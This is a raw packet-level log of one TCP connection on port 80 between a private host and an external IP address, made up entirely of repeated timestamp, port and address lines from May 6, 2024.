May 6, 2024 02:53:02.130868912 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.131043911 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.131103992 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.134289980 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.134366035 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.150289059 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.150327921 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.150418043 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.151489973 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.151568890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.151650906 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.151712894 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.153458118 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.153537035 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.170804977 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.170882940 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.171103001 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.171149969 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.171319008 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.171361923 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.171403885 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.171442032 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.172050953 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.172080040 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.172116041 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.172719955 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.172733068 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.172763109 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.172787905 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.173073053 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.173115969 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.173203945 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.173243046 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.174024105 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.174068928 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.176263094 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.176309109 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.192574978 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.192586899 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.192739964 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.207648039 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.207787037 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.207813025 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.207935095 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.207947969 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.208003998 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.213934898 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.214030027 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.214046955 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.214063883 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.214114904 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.214116096 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.214195013 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.214632988 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.214709044 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.214936018 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.215027094 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.215044022 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.215055943 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.215137959 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.215624094 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.215694904 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.215914965 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.215989113 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.216238022 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.216308117 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.216629028 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.216679096 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.216701031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.216778040 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.218458891 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.218530893 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.234539032 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.234625101 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.234688044 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.234764099 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.241775990 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.241915941 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.249883890 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.250000954 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.250044107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.250082970 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.258095980 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.258183002 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.258218050 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.258285999 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.259776115 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.259851933 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.259876013 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.259927988 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.259975910 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.260035992 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.260060072 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.260169029 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.260937929 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.261017084 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.323462963 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.323527098 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.323544979 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.323776007 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.325891018 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.325968027 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.334321022 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.334332943 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.334408998 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.343538046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343553066 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343566895 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343636990 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.343657017 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343671083 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343698025 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343712091 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343718052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.343725920 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343740940 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343786001 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.343801022 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343815088 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343822002 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343838930 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.343863964 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.343935013 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.346364975 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.346441031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.353558064 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.353650093 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.353741884 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.353802919 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.353815079 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.353880882 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.354161024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.354233027 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.365598917 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.365662098 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.365712881 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.365802050 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.365952015 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.366046906 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.367746115 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.367825031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.376241922 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.376364946 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.376382113 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.376482964 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.385781050 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.385881901 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.386452913 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.386549950 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.395853043 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.395901918 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.395982027 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.396022081 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.396380901 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.396394968 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.396429062 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.407743931 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.407823086 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.407893896 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.407942057 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.408077955 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.408122063 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.410142899 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.410192013 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.418459892 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.418539047 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.418690920 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.418737888 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.428153992 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.428165913 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.428201914 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.428215027 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.430357933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.430413961 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.438329935 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.438380003 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.438438892 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.438483000 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.438546896 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.438591957 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.438868046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.438913107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.449815989 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.449827909 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.449865103 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.449877977 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.452234030 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.452296972 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.460736990 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.460783958 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.460869074 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.460913897 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.461011887 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.461056948 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.461114883 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.461157084 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.467340946 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.467391014 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.470226049 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.470272064 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.470287085 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.470330954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.473699093 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.473743916 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.480436087 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.480480909 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.480572939 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.480623007 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.480848074 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.480860949 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.480894089 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.491864920 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.491925955 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.492111921 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.492152929 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.494190931 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.494234085 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.503468037 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.503528118 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.503642082 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.503678083 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.503777981 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.503812075 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.503835917 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.503871918 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.509578943 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.509622097 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.513035059 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.513047934 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.513073921 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.513091087 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.517702103 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.517744064 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.522710085 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.522767067 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.522768021 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.522799969 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.522900105 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.522937059 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.523024082 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.523066044 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.533965111 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.534080029 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.534081936 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.534115076 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.545588017 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.545602083 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.545665026 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.545713902 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.545747995 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.545845985 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.545885086 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.546041012 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.546082973 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.554996014 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.555058956 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.555085897 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.555120945 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.564604044 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.564616919 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.564652920 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.565206051 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.565264940 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.565346003 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.565387964 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.565439939 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.565479040 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.565613985 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.565654993 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.575936079 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.576010942 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.576011896 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.576042891 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.583704948 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.583786011 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.587438107 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.587515116 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.587574005 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.587619066 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.588063955 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.588123083 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.588141918 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.588182926 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.593849897 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.593894005 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.596965075 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.597045898 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.597191095 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.597240925 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.603961945 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.604007959 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.606514931 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.606564999 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.606605053 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.606650114 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.607183933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.607228041 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.607342958 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.607388020 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.613213062 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.613270998 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.618249893 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.618263006 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.618340015 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.625329971 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.625452042 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.629565954 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.629653931 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.629667044 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.629703045 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.630302906 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.630316973 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.630353928 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.636111021 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.636194944 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.654345989 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.654357910 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.654460907 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.654527903 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.654825926 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.654882908 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.655281067 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.655328989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.702644110 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.702713966 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.702754974 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.702768087 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.702788115 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.702800989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.702811956 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.702832937 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.702857971 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.702878952 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.702892065 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.702903032 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.702920914 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.702934027 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.702950954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.709203959 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.709254980 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.739409924 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.739425898 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.739439011 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.739453077 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.739463091 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.739466906 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.739480019 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.739489079 CEST	80	49718	31.41.44.147	192.168.2.6
